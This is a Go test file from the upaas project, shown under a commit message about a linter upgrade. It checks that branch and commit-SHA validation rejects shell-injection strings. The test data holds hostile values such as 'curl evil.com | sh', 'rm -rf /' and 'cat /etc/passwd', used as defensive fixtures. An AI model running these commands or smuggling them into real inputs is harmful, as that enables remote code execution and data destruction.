Files
upaas/internal/docker/validation_test.go
clawbot 7a34fc999c
All checks were successful
Check / check (push) Successful in 4s
Update golangci-lint to v2.12.2 with canonical config (#187)
Bumps golangci-lint from v2.10.1 to v2.12.2 everywhere it is pinned and installs the canonical `.golangci.yml`, then fixes every finding the new linter surfaces so `make check` is green.

## Version pins

- `Dockerfile` lint stage: `golangci/golangci-lint:v2.12.2` (Debian-based), tag plus digest pin
- `script/bootstrap`: `GOLANGCI_LINT_VERSION=2.12.2` with updated `linux-amd64`/`linux-arm64` release-archive sha256 pins

## Config

`.golangci.yml` replaced with the canonical config. Material change: the old file declared `version: "2"` but kept settings under the legacy top-level `linters-settings` key, which golangci-lint v2 ignores — so the intended thresholds (`lll` 88, `funlen` 80/50, `cyclop` 15, `dupl` 100) were not being applied. The canonical file moves them under `linters.settings` and drops `issues.exclude-use-default`.

## Lint fixes (216 findings)

- `lll` (96): wrapped lines to the 88-column limit
- `noctx` (46): `httptest.NewRequestWithContext` with `t.Context()` throughout the tests
- `goconst` (24): shared constants for template/JSON keys in `internal/handlers` and repeated test literals
- `gosec` (23): app-page redirects now go through a `redirectToApp` helper that path-escapes the app ID (G710 open redirect); `http.ServeFile` of the internally derived deployment log path annotated like the adjacent `os.Stat` (G703)
- `dupl` (22): extracted a generic `findAllByAppID` in `internal/models`, a `deleteAppResource` helper in `internal/handlers`, a shared `parsePush` in `internal/service/webhook`, and table-driven/helper-based dedup in tests
- `nolintlint` (5): removed `//nolint:funlen` directives made obsolete by the new limits (plus one more that became obsolete after refactoring)
- `nilerr` (3, surfaced during fixing): resource-delete lookups now propagate the find error to the caller

No behavior changes intended; all tests pass and `make check` is green.

Note: golangci-lint v2.12 warns that `gomodguard` is deprecated in favor of `gomodguard_v2` — a future canonical-config update should address this centrally.
Co-authored-by: sneak <sneak@sneak.berlin>
Reviewed-on: #187
Co-authored-by: clawbot <clawbot@noreply.example.org>
Co-committed-by: clawbot <clawbot@noreply.example.org>
2026-08-07 22:21:42 +02:00

152 lines
3.1 KiB
Go

package docker //nolint:testpackage // tests unexported regexps and Client struct
import (
"errors"
"log/slog"
"testing"
)
// mainBranch is the branch name used across validation tests.
const mainBranch = "main"
func TestValidBranchRegex(t *testing.T) {
t.Parallel()
valid := []string{
mainBranch,
"develop",
"feature/my-feature",
"release-1.0",
"v1.2.3",
"fix/issue_42",
"my.branch",
}
for _, b := range valid {
if !validBranchRe.MatchString(b) {
t.Errorf("expected branch %q to be valid", b)
}
}
invalid := []string{
"main; curl evil.com | sh",
"branch$(whoami)",
"branch`id`",
"branch && rm -rf /",
"branch | cat /etc/passwd",
"",
"branch name with spaces",
"branch\nnewline",
}
for _, b := range invalid {
if validBranchRe.MatchString(b) {
t.Errorf("expected branch %q to be invalid (potential injection)", b)
}
}
}
func TestValidCommitSHARegex(t *testing.T) {
t.Parallel()
valid := []string{
"abc123def456789012345678901234567890abcd",
"0000000000000000000000000000000000000000",
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
}
for _, s := range valid {
if !validCommitSHARe.MatchString(s) {
t.Errorf("expected SHA %q to be valid", s)
}
}
invalid := []string{
"short",
"abc123",
"ABCDEF1234567890123456789012345678901234", // uppercase
"abc123def456789012345678901234567890abcd; rm -rf /",
"$(whoami)000000000000000000000000000000000",
"",
}
for _, s := range invalid {
if validCommitSHARe.MatchString(s) {
t.Errorf("expected SHA %q to be invalid (potential injection)", s)
}
}
}
func TestCloneRepoRejectsInjection(t *testing.T) {
t.Parallel()
c := &Client{
log: slog.Default(),
}
tests := []struct {
name string
branch string
commitSHA string
wantErr error
}{
{
name: "shell injection in branch",
branch: "main; curl evil.com | sh #",
wantErr: ErrInvalidBranch,
},
{
name: "command substitution in branch",
branch: "$(whoami)",
wantErr: ErrInvalidBranch,
},
{
name: "backtick injection in branch",
branch: "`id`",
wantErr: ErrInvalidBranch,
},
{
name: "injection in commitSHA",
branch: mainBranch,
commitSHA: "not-a-sha; rm -rf /",
wantErr: ErrInvalidCommitSHA,
},
{
name: "short SHA rejected",
branch: mainBranch,
commitSHA: "abc123",
wantErr: ErrInvalidCommitSHA,
},
{
name: "valid inputs pass validation (hit NotConnected)",
branch: mainBranch,
commitSHA: "abc123def456789012345678901234567890abcd",
wantErr: ErrNotConnected,
},
{
name: "valid branch no SHA passes validation (hit NotConnected)",
branch: mainBranch,
wantErr: ErrNotConnected,
},
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
t.Parallel()
_, err := c.CloneRepo(
t.Context(),
"git@example.com:repo.git",
tt.branch,
tt.commitSHA,
"fake-key",
"/tmp/container",
"/tmp/host",
)
if err == nil {
t.Fatal("expected error, got nil")
}
if !errors.Is(err, tt.wantErr) {
t.Errorf("expected error %v, got %v", tt.wantErr, err)
}
})
}
}